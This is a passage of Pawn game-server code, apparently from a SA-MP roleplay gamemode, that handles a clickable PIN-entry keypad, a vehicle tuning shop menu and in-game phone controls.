if(ChandAdadZadam[playerid] < 4) ChandAdadZadam[playerid] ++;
if(ChandAdadZadam[playerid] == 1)
{

PIN1Zadam[playerid] = 7;
format(SetKOn , sizeof(SetKOn) , "]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 2)
{

PIN2Zadam[playerid] = 7;
format(SetKOn , sizeof(SetKOn) , "]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 3)
{

PIN3Zadam[playerid] = 7;
format(SetKOn , sizeof(SetKOn) , "]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 4)
{
PIN4Zadam[playerid] = 7;
format(SetKOn , sizeof(SetKOn) , "]]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
}
if(playertextid == PINNum8[playerid])
{
if(ChandAdadZadam[playerid] < 4) ChandAdadZadam[playerid] ++;
if(ChandAdadZadam[playerid] == 1)
{

PIN1Zadam[playerid] = 8;
format(SetKOn , sizeof(SetKOn) , "]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 2)
{

PIN2Zadam[playerid] = 8;
format(SetKOn , sizeof(SetKOn) , "]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 3)
{

PIN3Zadam[playerid] = 8;
format(SetKOn , sizeof(SetKOn) , "]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 4)
{
PIN4Zadam[playerid] = 8;
format(SetKOn , sizeof(SetKOn) , "]]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
}
if(playertextid == PINNum9[playerid])
{
if(ChandAdadZadam[playerid] < 4) ChandAdadZadam[playerid] ++;
if(ChandAdadZadam[playerid] == 1)
{

PIN1Zadam[playerid] = 9;
format(SetKOn , sizeof(SetKOn) , "]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 2)
{

PIN2Zadam[playerid] = 9;
format(SetKOn , sizeof(SetKOn) , "]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 3)
{

PIN3Zadam[playerid] = 9;
format(SetKOn , sizeof(SetKOn) , "]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 4)
{

PIN4Zadam[playerid] = 9;
format(SetKOn , sizeof(SetKOn) , "]]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
}
if(playertextid == PINNum0[playerid])
{
if(ChandAdadZadam[playerid] < 4) ChandAdadZadam[playerid] ++;
if(ChandAdadZadam[playerid] == 1)
{

PIN1Zadam[playerid] = 0;
format(SetKOn , sizeof(SetKOn) , "]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 2)
{

PIN2Zadam[playerid] = 0;
format(SetKOn , sizeof(SetKOn) , "]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 3)
{

PIN3Zadam[playerid] = 0;
format(SetKOn , sizeof(SetKOn) , "]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 4)
{
PIN4Zadam[playerid] = 0;
format(SetKOn , sizeof(SetKOn) , "]]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
}




if(playertextid == Unsucc[playerid])
{
if(ChandAdadZadam[playerid] == 0)
{
CancelSelectTextDraw(playerid);
PIN1Zadam[playerid] = 9999;
PIN2Zadam[playerid] = 9999;
PIN3Zadam[playerid] = 9999;
PIN4Zadam[playerid] = 9999;
MitooneCancelKone[playerid] = 0;
ChandAdadZadam[playerid] = 0;
Pinning[playerid] = 9999;
PlayerTextDrawHide(playerid, PINBox1[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, PINBox2[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, PINBox3[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, PINBox4[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, PINBox5[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, Succ[playerid]);// Pin ro mizane
PlayerTextDrawHide(playerid, Unsucc[playerid]);// Pin ro bar migardoone
PlayerTextDrawHide(playerid, Dayere1z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere2z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere3z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere4z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere5z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere6z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere7z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere8z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere9z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere0z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, PINNum1[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum2[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum3[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum4[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum5[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum6[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum7[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum8[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum9[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum0[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, EnterCode[playerid]);// Jayi ke code neveshte mishe
}
if(ChandAdadZadam[playerid] == 1)
{
ChandAdadZadam[playerid] --;
format(SetKOn , sizeof(SetKOn) , "_");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
PIN1Zadam[playerid] = 9999;
}
if(ChandAdadZadam[playerid] == 2)
{
ChandAdadZadam[playerid] --;
format(SetKOn , sizeof(SetKOn) , "]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
PIN2Zadam[playerid] = 9999;
}
if(ChandAdadZadam[playerid] == 3)
{
ChandAdadZadam[playerid] --;
format(SetKOn , sizeof(SetKOn) , "]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
PIN3Zadam[playerid] = 9999;
}
if(ChandAdadZadam[playerid] == 4)
{
ChandAdadZadam[playerid] --;
format(SetKOn , sizeof(SetKOn) , "]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
PIN4Zadam[playerid] = 9999;
}
}
if(playertextid == Succ[playerid])
{
if(PIN1Zadam[playerid] == PIN1ZadamNew[playerid] && PIN2Zadam[playerid] == PIN2ZadamNew[playerid] && PIN3Zadam[playerid] == PIN3ZadamNew[playerid] && PIN4Zadam[playerid] == PIN4ZadamNew[playerid])
{
new Molllla[MAX_PLAYERS];
format(Molllla, sizeof(Molllla), "Are you sure you want to change your pin code?\nEntered pin code: %d%d%d%d",PIN1Zadam[playerid], PIN2Zadam[playerid], PIN3Zadam[playerid], PIN4Zadam[playerid]);
ShowPlayerDialog(playerid, 6038, DIALOG_STYLE_MSGBOX, "Changing pin code", Molllla, "Yes", "No");
}
/*
else
{
SCM(playerid, COLOR_SINAGHERMEZ, "Authentication error occurred, this pin doesn't match previous pin.");
}
*/
}
}// New pin 2




return 1;
}

public OnPlayerClickTextDraw(playerid, Text:clickedid)
{
if(FCNPC_IsValid(playerid)) return 1;
	    new sendername[MAX_PLAYER_NAME];
	    new string[256];
	    TextDrawHideForPlayer(playerid,PhoneTest[42]);
	    TextDrawHideForPlayer(playerid,PhoneTest[50]);
if(clickedid==TuningTD[10])// Hydraulics
{
if(ControleTun[playerid]==1)return SendErrorMessage(playerid, "First close buy menu.");
PlayerTextDrawSetString(playerid, TuningBuy[ playerid ][ 1 ], "Hydraulics");
new vehicleid = GetPlayerVehicleID(playerid), Float:Pos[6];
TPInfo[ playerid ][ tID ] = -1;
	                    for( new i = 0; i < MAX_COMPONENTS; i++ ) {
			                if( cInfo[ i ][ cType ] == CARMODTYPE_HYDRAULICS ) {
			                    if( cInfo[ i ][ cID ] == IsComponentidCompatible( GetVehicleModel( vehicleid ), cInfo[ i ][ cID ] ) ) {
				                    TPInfo[ playerid ][ tID ] = i;
									break;
								}
			                }
						}
	                    if( TPInfo[ playerid ][ tID ] == -1 ) return SendErrorMessage( playerid, "There isn't any options." );

						new cid = TPInfo[ playerid ][ tID ];
						TPInfo[ playerid ][ tType ] = CARMODTYPE_HYDRAULICS;
						TPInfo[ playerid ][ tPaintjob ] = false;

	                    TogglePlayerControllable( playerid, false );
	                    TuningTDControl( playerid, true );

	                    format( globalstring, sizeof( globalstring ), "%s", cInfo[ cid ][ cName ] );
						PlayerTextDrawSetString( playerid, TuningBuy[ playerid ][ 3 ], globalstring );
						format( globalstring, sizeof( globalstring ), "price: ~w~%d$", cInfo[ cid ][ cPrice ] );
						PlayerTextDrawSetString( playerid, TuningBuy[ playerid ][ 4 ], globalstring );

                        AddVehicleComponent( vehicleid, cInfo[ cid ][ cID ] );

						GetVehicleCameraPos( vehicleid, Pos[ 0 ], Pos[ 1 ], Pos[ 2 ], 2, 2, 2 );
						SetPlayerCameraPos( playerid, Pos[ 0 ], Pos[ 1 ], Pos[ 2 ] );

						GetVehiclePos( vehicleid, Pos[ 0 ],Pos[ 1 ],Pos[ 2 ] );
						SetPlayerCameraLookAt( playerid, Pos[ 0 ],Pos[ 1 ],Pos[ 2 ] );

						SelectTextDraw( playerid, COLOR_ORANGE );
}
if(clickedid==TuningTD[8])// Wheel
{
if(ControleTun[playerid]==1)return SendErrorMessage(playerid, "First close buy menu.");
PlayerTextDrawSetString(playerid, TuningBuy[ playerid ][ 1 ], "Wheels");
new vehicleid = GetPlayerVehicleID(playerid), Float:Pos[6];
TPInfo[ playerid ][ tID ] = -1;
	                    for( new i = 0; i < MAX_COMPONENTS; i++ ) {
			                if( cInfo[ i ][ cType ] == CARMODTYPE_WHEELS ) {
			                    if( cInfo[ i ][ cID ] == IsComponentidCompatible( GetVehicleModel( vehicleid ), cInfo[ i ][ cID ] ) ) {
				                    TPInfo[ playerid ][ tID ] = i;
									break;
								}
			                }
						}
	                    if( TPInfo[ playerid ][ tID ] == -1 ) return SendErrorMessage( playerid, "There isn't any options." );

						new cid = TPInfo[ playerid ][ tID ];
						TPInfo[ playerid ][ tType ] = CARMODTYPE_WHEELS;
						TPInfo[ playerid ][ tPaintjob ] = false;

	                    TogglePlayerControllable( playerid, false );
	                    TuningTDControl( playerid, true );

	                    format( globalstring, sizeof( globalstring ), "%s", cInfo[ cid ][ cName ] );
						PlayerTextDrawSetString( playerid, TuningBuy[ playerid ][ 3 ], globalstring );
						format( globalstring, sizeof( globalstring ), "price: ~w~%d$", cInfo[ cid ][ cPrice ] );
						PlayerTextDrawSetString( playerid, TuningBuy[ playerid ][ 4 ], globalstring );

                        AddVehicleComponent( vehicleid, cInfo[ cid ][ cID ] );

						GetVehicleCameraPos( vehicleid, Pos[ 0 ], Pos[ 1 ], Pos[ 2 ], 4, 0, 0.5 ); // done
						SetPlayerCameraPos( playerid, Pos[ 0 ], Pos[ 1 ], Pos[ 2 ] );

						GetVehiclePos( vehicleid, Pos[ 0 ],Pos[ 1 ],Pos[ 2 ] );
						SetPlayerCameraLookAt( playerid, Pos[ 0 ],Pos[ 1 ],Pos[ 2 ] );

						SelectTextDraw( playerid, COLOR_ORANGE );
}
if(clickedid==TuningTD[6])// Nitro
{
if(ControleTun[playerid]==1)return SendErrorMessage(playerid, "First close buy menu.");
PlayerTextDrawSetString(playerid, TuningBuy[ playerid ][ 1 ], "Nitro");
new vehicleid = GetPlayerVehicleID(playerid), Float:Pos[6];
TPInfo[ playerid ][ tID ] = -1;
	                    for( new i = 0; i < MAX_COMPONENTS; i++ ) {
			                if( cInfo[ i ][ cType ] == CARMODTYPE_NITRO ) {
			                    if( cInfo[ i ][ cID ] == IsComponentidCompatible( GetVehicleModel( vehicleid ), cInfo[ i ][ cID ] ) ) {
				                    TPInfo[ playerid ][ tID ] = i;
									break;
								}
			                }
						}
	                    if( TPInfo[ playerid ][ tID ] == -1 ) return SendErrorMessage( playerid, "There isn't any options." );

						new cid = TPInfo[ playerid ][ tID ];
						TPInfo[ playerid ][ tType ] = CARMODTYPE_NITRO;
						TPInfo[ playerid ][ tPaintjob ] = false;

	                    TogglePlayerControllable( playerid, false );
	                    TuningTDControl( playerid, true );

	                    format( globalstring, sizeof( globalstring ), "%s", cInfo[ cid ][ cName ] );
						PlayerTextDrawSetString( playerid, TuningBuy[ playerid ][ 3 ], globalstring );
						format( globalstring, sizeof( globalstring ), "price: ~w~%d$", cInfo[ cid ][ cPrice ] );
						PlayerTextDrawSetString( playerid, TuningBuy[ playerid ][ 4 ], globalstring );

                        AddVehicleComponent( vehicleid, cInfo[ cid ][ cID ] );

						GetVehicleCameraPos( vehicleid, Pos[ 0 ], Pos[ 1 ], Pos[ 2 ], 0, -6, 2 ); // done
						SetPlayerCameraPos( playerid, Pos[ 0 ], Pos[ 1 ], Pos[ 2 ] );

						GetVehiclePos( vehicleid, Pos[ 0 ],Pos[ 1 ],Pos[ 2 ] );
						SetPlayerCameraLookAt( playerid, Pos[ 0 ],Pos[ 1 ],Pos[ 2 ] );

						SelectTextDraw( playerid, COLOR_ORANGE );
}
if(clickedid==TuningTD[4])// Colors
{
if(ControleTun[playerid]==1)return SendErrorMessage(playerid, "First close buy menu.");
TPInfo[ playerid ][ tID ] = -1;
ShowPlayerDialog( playerid, dialog_TUNING_2, DIALOG_STYLE_INPUT, "Tuning System", "Enter Color ID 1", "OK", "Cancel" );
}
if(clickedid==TuningTD2[3])// Side Skirts
{
if(ControleTun[playerid]==1)return SendErrorMessage(playerid, "First close buy menu.");
PlayerTextDrawSetString(playerid, TuningBuy[ playerid ][ 1 ], "Side Skirts");
new vehicleid = GetPlayerVehicleID(playerid), Float:Pos[6];
TPInfo[ playerid ][ tID ] = -1;
	                    for( new i = 0; i < MAX_COMPONENTS; i++ ) {
			                if( cInfo[ i ][ cType ] == CARMODTYPE_SIDESKIRT ) {
			                    if( cInfo[ i ][ cID ] == IsComponentidCompatible( GetVehicleModel( vehicleid ), cInfo[ i ][ cID ] ) ) {
				                    TPInfo[ playerid ][ tID ] = i;
									break;
								}
			                }
						}
	                    if( TPInfo[ playerid ][ tID ] == -1 ) return SendErrorMessage( playerid, "There isn't any options." );

						new cid = TPInfo[ playerid ][ tID ];
						TPInfo[ playerid ][ tType ] = CARMODTYPE_SIDESKIRT;
						TPInfo[ playerid ][ tPaintjob ] = false;

	                    TogglePlayerControllable( playerid, false );
	                    TuningTDControl( playerid, true );

	                    format( globalstring, sizeof( globalstring ), "%s", cInfo[ cid ][ cName ] );
						PlayerTextDrawSetString( playerid, TuningBuy[ playerid ][ 3 ], globalstring );
						format( globalstring, sizeof( globalstring ), "price: ~w~%d$", cInfo[ cid ][ cPrice ] );
						PlayerTextDrawSetString( playerid, TuningBuy[ playerid ][ 4 ], globalstring );

                        AddVehicleComponent( vehicleid, cInfo[ cid ][ cID ] );

						GetVehicleCameraPos( vehicleid, Pos[ 0 ], Pos[ 1 ], Pos[ 2 ], 4, 0, 0.5 );
						SetPlayerCameraPos( playerid, Pos[ 0 ], Pos[ 1 ], Pos[ 2 ] );

						GetVehiclePos( vehicleid, Pos[ 0 ],Pos[ 1 ],Pos[ 2 ] );
						SetPlayerCameraLookAt( playerid, Pos[ 0 ],Pos[ 1 ],Pos[ 2 ] );

						SelectTextDraw( playerid, COLOR_ORANGE );
}
if(clickedid==TuningTD2[2])// Rear Bumper
{
if(ControleTun[playerid]==1)return SendErrorMessage(playerid, "First close buy menu.");
PlayerTextDrawSetString(playerid, TuningBuy[ playerid ][ 1 ], "Rear Bumper");
new vehicleid = GetPlayerVehicleID(playerid), Float:Pos[6];
TPInfo[ playerid ][ tID ] = -1;
	                    for( new i = 0; i < MAX_COMPONENTS; i++ ) {
			                if( cInfo[ i ][ cType ] == CARMODTYPE_REAR_BUMPER ) {
			                    if( cInfo[ i ][ cID ] == IsComponentidCompatible( GetVehicleModel( vehicleid ), cInfo[ i ][ cID ] ) ) {
				                    TPInfo[ playerid ][ tID ] = i;
									break;
								}
			                }
						}
	                    if( TPInfo[ playerid ][ tID ] == -1 ) return SendErrorMessage( playerid, "There isn't any options." );

						new cid = TPInfo[ playerid ][ tID ];
						TPInfo[ playerid ][ tType ] = CARMODTYPE_REAR_BUMPER;
						TPInfo[ playerid ][ tPaintjob ] = false;

	                    TogglePlayerControllable( playerid, false );
	                    TuningTDControl( playerid, true );

	                    format( globalstring, sizeof( globalstring ), "%s", cInfo[ cid ][ cName ] );
						PlayerTextDrawSetString( playerid, TuningBuy[ playerid ][ 3 ], globalstring );
						format( globalstring, sizeof( globalstring ), "price: ~w~%d$", cInfo[ cid ][ cPrice ] );
						PlayerTextDrawSetString( playerid, TuningBuy[ playerid ][ 4 ], globalstring );

                        AddVehicleComponent( vehicleid, cInfo[ cid ][ cID ] );

						GetVehicleCameraPos( vehicleid, Pos[ 0 ], Pos[ 1 ], Pos[ 2 ], 0, -6, 0.5 ); // done
						SetPlayerCameraPos( playerid, Pos[ 0 ], Pos[ 1 ], Pos[ 2 ] );

						GetVehiclePos( vehicleid, Pos[ 0 ],Pos[ 1 ],Pos[ 2 ] );
						SetPlayerCameraLookAt( playerid, Pos[ 0 ],Pos[ 1 ],Pos[ 2 ] );

						SelectTextDraw( playerid, COLOR_ORANGE );
}
if(clickedid==TuningTD2[1])// Front Bumper
{
if(ControleTun[playerid]==1)return SendErrorMessage(playerid, "First close buy menu.");
PlayerTextDrawSetString(playerid, TuningBuy[ playerid ][ 1 ], "Front Bumper");
new vehicleid = GetPlayerVehicleID(playerid), Float:Pos[6];
TPInfo[ playerid ][ tID ] = -1;
	                    for( new i = 0; i < MAX_COMPONENTS; i++ ) {
			                if( cInfo[ i ][ cType ] == CARMODTYPE_FRONT_BUMPER ) {
			                    if( cInfo[ i ][ cID ] == IsComponentidCompatible( GetVehicleModel( vehicleid ), cInfo[ i ][ cID ] ) ) {
				                    TPInfo[ playerid ][ tID ] = i;
									break;
								}
			                }
						}
	                    if( TPInfo[ playerid ][ tID ] == -1 ) return SendErrorMessage( playerid, "There isn't any options." );

						new cid = TPInfo[ playerid ][ tID ];
						TPInfo[ playerid ][ tType ] = CARMODTYPE_FRONT_BUMPER;
						TPInfo[ playerid ][ tPaintjob ] = false;

	                    TogglePlayerControllable( playerid, false );
	                    TuningTDControl( playerid, true );

	                    format( globalstring, sizeof( globalstring ), "%s", cInfo[ cid ][ cName ] );
						PlayerTextDrawSetString( playerid, TuningBuy[ playerid ][ 3 ], globalstring );
						format( globalstring, sizeof( globalstring ), "price: ~w~%d$", cInfo[ cid ][ cPrice ] );
						PlayerTextDrawSetString( playerid, TuningBuy[ playerid ][ 4 ], globalstring );

                        AddVehicleComponent( vehicleid, cInfo[ cid ][ cID ] );

						GetVehicleCameraPos( vehicleid, Pos[ 0 ], Pos[ 1 ], Pos[ 2 ], 0, 6, 0.5 ); // done
						SetPlayerCameraPos( playerid, Pos[ 0 ], Pos[ 1 ], Pos[ 2 ] );

						GetVehiclePos( vehicleid, Pos[ 0 ],Pos[ 1 ],Pos[ 2 ] );
						SetPlayerCameraLookAt( playerid, Pos[ 0 ],Pos[ 1 ],Pos[ 2 ] );

						SelectTextDraw( playerid, COLOR_ORANGE );
}
if(clickedid==TuningTD2[0])// Roof
{
if(ControleTun[playerid]==1)return SendErrorMessage(playerid, "First close buy menu.");
PlayerTextDrawSetString(playerid, TuningBuy[ playerid ][ 1 ], "Roof");
new vehicleid = GetPlayerVehicleID(playerid), Float:Pos[6];
TPInfo[ playerid ][ tID ] = -1;
	                    for( new i = 0; i < MAX_COMPONENTS; i++ ) {
			                if( cInfo[ i ][ cType ] == CARMODTYPE_ROOF ) {
			                    if( cInfo[ i ][ cID ] == IsComponentidCompatible( GetVehicleModel( vehicleid ), cInfo[ i ][ cID ] ) ) {
				                    TPInfo[ playerid ][ tID ] = i;
									break;
								}
			                }
						}
	                    if( TPInfo[ playerid ][ tID ] == -1 ) return SendErrorMessage( playerid, "There isn't any options." );

						new cid = TPInfo[ playerid ][ tID ];
						TPInfo[ playerid ][ tType ] = CARMODTYPE_ROOF;
						TPInfo[ playerid ][ tPaintjob ] = false;

	                    TogglePlayerControllable( playerid, false );
	                    TuningTDControl( playerid, true );

	                    format( globalstring, sizeof( globalstring ), "%s", cInfo[ cid ][ cName ] );
						PlayerTextDrawSetString( playerid, TuningBuy[ playerid ][ 3 ], globalstring );
						format( globalstring, sizeof( globalstring ), "price: ~w~%d$", cInfo[ cid ][ cPrice ] );
						PlayerTextDrawSetString( playerid, TuningBuy[ playerid ][ 4 ], globalstring );

                        AddVehicleComponent( vehicleid, cInfo[ cid ][ cID ] );

						GetVehicleCameraPos( vehicleid, Pos[ 0 ], Pos[ 1 ], Pos[ 2 ], 0, 6, 2 ); // done
						SetPlayerCameraPos( playerid, Pos[ 0 ], Pos[ 1 ], Pos[ 2 ] );

						GetVehiclePos( vehicleid, Pos[ 0 ],Pos[ 1 ],Pos[ 2 ] );
						SetPlayerCameraLookAt( playerid, Pos[ 0 ],Pos[ 1 ],Pos[ 2 ] );

						SelectTextDraw( playerid, COLOR_ORANGE );
}
if(clickedid==TuningTDKM[4])// Exhausts
{
if(ControleTun[playerid]==1)return SendErrorMessage(playerid, "First close buy menu.");
PlayerTextDrawSetString(playerid, TuningBuy[ playerid ][ 1 ], "Exhausts");
new vehicleid = GetPlayerVehicleID(playerid), Float:Pos[6];
TPInfo[ playerid ][ tID ] = -1;
	                    for( new i = 0; i < MAX_COMPONENTS; i++ ) {
			                if( cInfo[ i ][ cType ] == CARMODTYPE_EXHAUST ) {
			                    if( cInfo[ i ][ cID ] == IsComponentidCompatible( GetVehicleModel( vehicleid ), cInfo[ i ][ cID ] ) ) {
				                    TPInfo[ playerid ][ tID ] = i;
									break;
								}
			                }
						}
	                    if( TPInfo[ playerid ][ tID ] == -1 ) return SendErrorMessage( playerid, "There isn't any options." );

						new cid = TPInfo[ playerid ][ tID ];
						TPInfo[ playerid ][ tType ] = CARMODTYPE_EXHAUST;
						TPInfo[ playerid ][ tPaintjob ] = false;

	                    TogglePlayerControllable( playerid, false );
	                    TuningTDControl( playerid, true );

	                    format( globalstring, sizeof( globalstring ), "%s", cInfo[ cid ][ cName ] );
						PlayerTextDrawSetString( playerid, TuningBuy[ playerid ][ 3 ], globalstring );
						format( globalstring, sizeof( globalstring ), "price: ~w~%d$", cInfo[ cid ][ cPrice ] );
						PlayerTextDrawSetString( playerid, TuningBuy[ playerid ][ 4 ], globalstring );

                        AddVehicleComponent( vehicleid, cInfo[ cid ][ cID ] );

						GetVehicleCameraPos( vehicleid, Pos[ 0 ], Pos[ 1 ], Pos[ 2 ], -2, -5, 0 );
						SetPlayerCameraPos( playerid, Pos[ 0 ], Pos[ 1 ], Pos[ 2 ] );

						GetVehiclePos( vehicleid, Pos[ 0 ],Pos[ 1 ],Pos[ 2 ] );
						SetPlayerCameraLookAt( playerid, Pos[ 0 ],Pos[ 1 ],Pos[ 2 ] );

						SelectTextDraw( playerid, COLOR_ORANGE );
}
if(clickedid==TuningTD3[0])// Paint Jobs
{
if(ControleTun[playerid]==1)return SendErrorMessage(playerid, "First close buy menu.");
PlayerTextDrawSetString(playerid, TuningBuy[ playerid ][ 1 ], "Paint Jobs");
new vehicleid = GetPlayerVehicleID(playerid), Float:Pos[6];
TPInfo[ playerid ][ tID ] = -1;
						for( new i = 0; i < NUMBER_TYPE_PAINTJOB; i++ ) {
			                if( pjInfo[ i ][ vehID ] == GetVehicleModel( vehicleid ) ) {
				            	TPInfo[ playerid ][ tID ] = i;
								break;
							}
			           	}
						if( TPInfo[ playerid ][ tID ] == -1 ) return SendErrorMessage( playerid, "There isn't any compatible paintjobs for your vehicle model." );

						new pid = TPInfo[ playerid ][ tID ];
						TPInfo[ playerid ][ tPaintjob ] = true;

						GetVehicleColor( vehicleid, TPInfo[ playerid ][ PJColor ][ 0 ], TPInfo[ playerid ][ PJColor ][ 1 ] );

						TogglePlayerControllable( playerid, false );
	                    TuningTDControl( playerid, true );

                        ChangeVehicleColor( vehicleid, 1, 1 );
                        ChangeVehiclePaintjob( vehicleid, pjInfo[ pid ][ pNumber ] );

	                    format( globalstring, sizeof( globalstring ), "%s", pjInfo[ pid ][ pName ] );
						PlayerTextDrawSetString( playerid, TuningBuy[ playerid ][ 3 ], globalstring );
						format( globalstring, sizeof( globalstring ), "price: ~w~%d$", pjInfo[ pid ][ pPrice ] );
						PlayerTextDrawSetString( playerid, TuningBuy[ playerid ][ 4 ], globalstring );

						GetVehicleCameraPos( vehicleid, Pos[ 0 ], Pos[ 1 ], Pos[ 2 ], 4, 0, 5-2 );
						SetPlayerCameraPos( playerid, Pos[ 0 ], Pos[ 1 ], Pos[ 2 ] );

						GetVehiclePos( vehicleid, Pos[ 0 ],Pos[ 1 ],Pos[ 2 ] );
						SetPlayerCameraLookAt( playerid, Pos[ 0 ],Pos[ 1 ],Pos[ 2 ] );

						SelectTextDraw( playerid, COLOR_ORANGE );
}
if(clickedid==TuningTD4[0])// Car Stereo
{
if(ControleTun[playerid]==1)return SendErrorMessage(playerid, "First close buy menu.");
PlayerTextDrawSetString(playerid, TuningBuy[ playerid ][ 1 ], "Car Stereo");
new vehicleid = GetPlayerVehicleID(playerid), Float:Pos[6];
TPInfo[ playerid ][ tID ] = -1;
	                    for( new i = 0; i < MAX_COMPONENTS; i++ ) {
			                if( cInfo[ i ][ cType ] == CARMODTYPE_STEREO ) {
			                    if( cInfo[ i ][ cID ] == IsComponentidCompatible( GetVehicleModel( vehicleid ), cInfo[ i ][ cID ] ) ) {
				                    TPInfo[ playerid ][ tID ] = i;
									break;
								}
			                }
						}
	                    if( TPInfo[ playerid ][ tID ] == -1 ) return SendErrorMessage( playerid, "There isn't any options." );

						new cid = TPInfo[ playerid ][ tID ];
						TPInfo[ playerid ][ tType ] = CARMODTYPE_STEREO;
						TPInfo[ playerid ][ tPaintjob ] = false;

	                    TogglePlayerControllable( playerid, false );
	                    TuningTDControl( playerid, true );

	                    format( globalstring, sizeof( globalstring ), "%s", cInfo[ cid ][ cName ] );
						PlayerTextDrawSetString( playerid, TuningBuy[ playerid ][ 3 ], globalstring );
						format( globalstring, sizeof( globalstring ), "price: ~w~%d$", cInfo[ cid ][ cPrice ] );
						PlayerTextDrawSetString( playerid, TuningBuy[ playerid ][ 4 ], globalstring );

                        AddVehicleComponent( vehicleid, cInfo[ cid ][ cID ] );

						GetVehicleCameraPos( vehicleid, Pos[ 0 ], Pos[ 1 ], Pos[ 2 ], 0, -6, 2 );
						SetPlayerCameraPos( playerid, Pos[ 0 ], Pos[ 1 ], Pos[ 2 ] );

						GetVehiclePos( vehicleid, Pos[ 0 ],Pos[ 1 ],Pos[ 2 ] );
						SetPlayerCameraLookAt( playerid, Pos[ 0 ],Pos[ 1 ],Pos[ 2 ] );

						SelectTextDraw( playerid, COLOR_ORANGE );
}
	    if(clickedid==PhoneTest[49])
	    {
			for(new i = 0; i < MAX_PLAYERS; i++)
			{
				if(IsPlayerConnected(i))
				{
					if(onnametag[playerid]==0)
					{
						ShowPlayerNameTagForPlayer(playerid, i, true);
						onnametag[playerid]=1;
					}
					else
					{
						ShowPlayerNameTagForPlayer(playerid, i, false);
						onnametag[playerid]=0;
					}
				}
			}
	    }
		if(clickedid==PhoneTest[33])//kelide pickup
		{
		    if(Mobile[playerid] != 9999) return SCM(playerid,COLOR_Orang,"You are already on a call...");
				for(new i = 0; i < Akharish; i++)
				{
					if(IsPlayerConnected(i))
					{
						if(Mobile[i] == playerid)
						{
							Mobile[playerid] = i; //caller connecting
							SendMessage(i,  COLOR_Good, "They picked up.");
							GetPlayerName(playerid, sendername, sizeof(sendername));
							format(string, sizeof(string), "%s answers his cellphone.", sendername);
							ProxDetector(30.0, playerid, string, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
							CallWaiting[playerid] = 9999;
							if(PlayerHandsCuffed[playerid] == 0)
							{
								SetPlayerAttachedObject(playerid, 0, 330, 6,0.000000,-0.001999,0.000000,0.000000,0.000000,0.000000,1.000000,1.000000,1.000000);
								SetPlayerSpecialAction(playerid, SPECIAL_ACTION_USECELLPHONE);
							}
							TimerRingTone[playerid] = 0;
						}
					}
				}


		}
		if(clickedid==PhoneTest[31])
		{
		    			if(IsPlayerConnected(playerid))
				{
					if(PlayerInfo[playerid][pPnumber] == 0)
					{
						SendMessage(playerid, COLOR_PURPLE, "You do not have a phone.");
						return 1;
					}
					if(Mobile[playerid] == 9999)
					{
						SendMessage(playerid, COLOR_PURPLE, "You are not in a phone call.");
						return 1;
					}
					if(PlayerInfo[playerid][pSpeaker] == 0)
					{
						SendMessage(playerid, COLOR_YELLOW2, "Beep Speaker is on.");
						PlayerInfo[playerid][pSpeaker] = 1;//NEmikhad save she
						return 1;
					}
